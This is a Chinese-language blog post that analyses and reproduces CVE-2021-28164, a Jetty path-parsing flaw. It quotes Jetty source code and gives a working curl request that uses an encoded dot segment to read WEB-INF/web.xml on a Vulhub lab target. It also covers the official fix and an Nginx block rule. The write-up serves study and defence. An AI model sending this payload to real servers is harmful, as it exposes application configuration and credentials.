CVE-2021-28164源码分析与漏洞复现

发布于:2025-06-02 ⋅ 阅读:(24) ⋅ 点赞:(0)

漏洞概述

漏洞名称:Jetty 路径解析逻辑漏洞导致 WEB-INF 敏感信息泄露
漏洞编号:CVE-2021-28164
CVSS 评分:7.5
影响版本:Jetty 9.4.37 - 9.4.38
修复版本:Jetty ≥ 9.4.39
漏洞类型:路径遍历/信息泄露

CVE-2021-28164 是 Eclipse Jetty 服务器在处理 URI 路径时因编码解析顺序与路径规范化逻辑冲突导致的安全漏洞。攻击者通过构造包含 URL 编码点段(如 %2e)的恶意路径(如 /%2e/WEB-INF/web.xml),可绕过安全校验直接访问 WEB-INF 目录下的敏感文件(如 web.xmlclasses 等),导致应用配置、数据库凭证等敏感信息泄露。


技术细节与源码分析

漏洞成因

Jetty 为符合 RFC3986 规范,默认支持 URI 编码解析,但在处理路径时存在两阶段缺陷:

  1. 路径规范化顺序错误:先解析 URL 编码(如 %2e.),再执行路径规范化(处理 . / .. 点段)。
  2. 安全校验滞后ContextHandler 的防护逻辑在规范化后执行,无法检测编码后的恶意路径。
关键源码分析

(1)路径解析入口HttpURI.parse()
代码定位org.eclipse.jetty.http.HttpURI

   public void parse(String uri) {
     clear();
     this._uri = uri;
     parse(State.START, uri, 0, uri.length());
   }
   private void parse(State state, String uri, int offset, int end) {
     if (!encoded && j == 0) {
       
       if (this._param == null) {
         this._decodedPath = this._path;
       } else {
         this._decodedPath = this._path.substring(0, this._path.length() - this._param.length() - 1);
       } 
     } else if (this._path != null) {
       
       String canonical = URIUtil.canonicalPath(this._path);// 先规范化路径(未解码)
       if (canonical == null)
         throw new BadMessageException("Bad URI"); 
       this._decodedPath = URIUtil.decodePath(canonical);// 再解码URL编码
     } 
  }

问题canonicalPath() 无法识别编码后的点段(如 %2e),导致 /%2e/ 未被规范化为当前目录。

(2)路径规范化函数canonicalPath()
代码定位org.eclipse.jetty.http.HttpURI#canonicalPath

   public static String canonicalPath(String path) {
     if (path == null || path.isEmpty()) {
       return path;
     }
     int end = path.length();
     int i = 0;
     int dots = 0;
     while (i < end) {
       
       char c = path.charAt(i);
       switch (c) {
         
         case '/':
           dots = 0;
           break;
         
         case '.':
           if (dots == 0) {
            
             dots = 1;
             break;
           } 
           dots = -1;
           break;
         
         default:
           dots = -1;
           break;
      } 
       i++;
     } 
     
     if (i == end) {
       return path;
     }
    StringBuilder canonical = new StringBuilder(path.length());
    canonical.append(path, 0, i);
     
     i++;
     while (i <= end) {       
       char c = (i < end) ? path.charAt(i) : Character.MIN_VALUE;
       switch (c) {
         
         case '\000':
           if (dots == 2) {
             
             if (canonical.length() < 2)
               return null; 
             canonical.setLength(canonical.length() - 1);
             canonical.setLength(canonical.lastIndexOf("/") + 1);
           } 
           break;
         
        case '/':
           switch (dots) {
             case 1:
               break;
 
             
             case 2:
               if (canonical.length() < 2)
                 return null; 
               canonical.setLength(canonical.length() - 1);
              canonical.setLength(canonical.lastIndexOf("/") + 1);
               break;
             
             default:
               canonical.append(c); break;
           } 
           dots = 0;
           break;
        
         case '.':
           switch (dots) {
            
             case 0:
              dots = 1;
               break;
             case 1:
               dots = 2;
               break;
             case 2:
               canonical.append("...");
               dots = -1;
               break;
           } 
           canonical.append('.');
           break;         
         default:
           switch (dots) {        
             case 1:
               canonical.append('.');
               break;
             case 2:
               canonical.append("..");
               break;
           }           
           canonical.append(c);
           dots = -1;
           break;
       } 
       i++;
     } 
     return canonical.toString();// 仅处理明文"."和"..",忽略%2e等编码形式
   }

缺陷:仅过滤明文点段,未处理编码形式,导致 /%2e/WEB-INF/web.xml 绕过规范化。

(3)安全校验逻辑ContextHandler.isProtectedTarget()
代码定位org.eclipse.jetty.server.handler.ContextHandler#isProtectedTarget

   public boolean isProtectedTarget(String target) {
     if (target == null || this._protectedTargets == null) {
       return false;
     }
     while (target.startsWith("//"))
     {
       target = URIUtil.compactPath(target);
     }     
     for (int i = 0; i < this._protectedTargets.length; i++) {       
       String t = this._protectedTargets[i];
       if (StringUtil.startsWithIgnoreCase(target, t)) {   // 直接匹配路径保护路径前缀       
         if (target.length() == t.length()) {
           return true;
         } 
         char c = target.charAt(t.length());
         if (c == '/' || c == '?' || c == '#' || c == ';')
           return true; 
       } 
     } 
     return false;
   }

漏洞点:该校验在路径解码后执行,攻击者通过 /%2e/WEB-INF 可绕过 startsWithIgnoreCase("/WEB-INF") 检测。

漏洞触发路径
sequenceDiagram  
    攻击者->>+Jetty服务器: 发送请求 GET /%2e/WEB-INF/web.xml  
    Jetty服务器->>HttpURI.parse(): 原始路径="%2e/WEB-INF/web.xml"  
    HttpURI.parse()-->>canonicalPath(): 输入未解码路径 → 未识别"%2e" → 输出不变  
    HttpURI.parse()-->>decodePath(): 解码"%2e" → 生成"./WEB-INF/web.xml"  
    Jetty服务器->>ContextHandler: 校验"./WEB-INF/web.xml"  
    ContextHandler-->>isProtectedTarget(): 检查"./WEB-INF" → 不匹配"/WEB-INF" → 放行  
    Jetty服务器->>文件系统: 返回web.xml内容  

漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机

 docker-compose up -d 

在这里插入图片描述
2.访问访问 http://target:8080,确认服务正常运行
在这里插入图片描述

攻击步骤
1.直接访问/WEB-INF/web.xml将会返回404页面
在这里插入图片描述

2.使用%2e/来绕过限制下载web.xml

curl -v 'http://192.168.1.100:8080/%2e/WEB-INF/web.xml'

在这里插入图片描述


修复方案

官方修复(Jetty 9.4.39+)

补丁核心:调整路径处理顺序,先解码后规范化,并强化安全校验:

  1. 修改 HttpURI.parse() 逻辑
    _decodedPath = decodePath(rawURI);        // 先解码  
    _path = canonicalPath(_decodedPath);      // 后规范化  
    
  2. 增强 isProtectedTarget()
    protected boolean isProtectedTarget(String target) {  
        String canonicalPath = URIUtil.canonicalPath(target);  
        return canonicalPath.startsWith("/WEB-INF") || ... ; // 规范化后校验  
    }  
    
临时缓解措施
  1. 升级 Jetty:≥ 9.4.39 或 ≥ 10.0.5。
  2. 配置过滤规则:在反向代理(如 Nginx)拦截包含 /WEB-INF%2e 的请求:
    location ~* "/\.|%2e|WEB-INF" { return 403; }  
    
  3. 权限控制:确保 WEB-INF 目录权限禁止非授权访问。


漏洞启示

  1. 规范与安全的冲突:RFC3986 的兼容性需求可能引入安全风险,需在规范实现中植入安全校验(如规范化后二次验证)。
  2. 纵深防御必要性:除代码修复外,应结合网络层过滤和权限最小化原则。
  3. 自动化检测:CI/CD 流程中需加入路径遍历测试用例(如 OWASP ZAP 扫描 /..%2f 变体)。

参考链接

  1. CVE-2021-28164 漏洞原理与源码分析(阿里云先知社区)

网站公告

今日签到

点亮在社区的每一天
去签到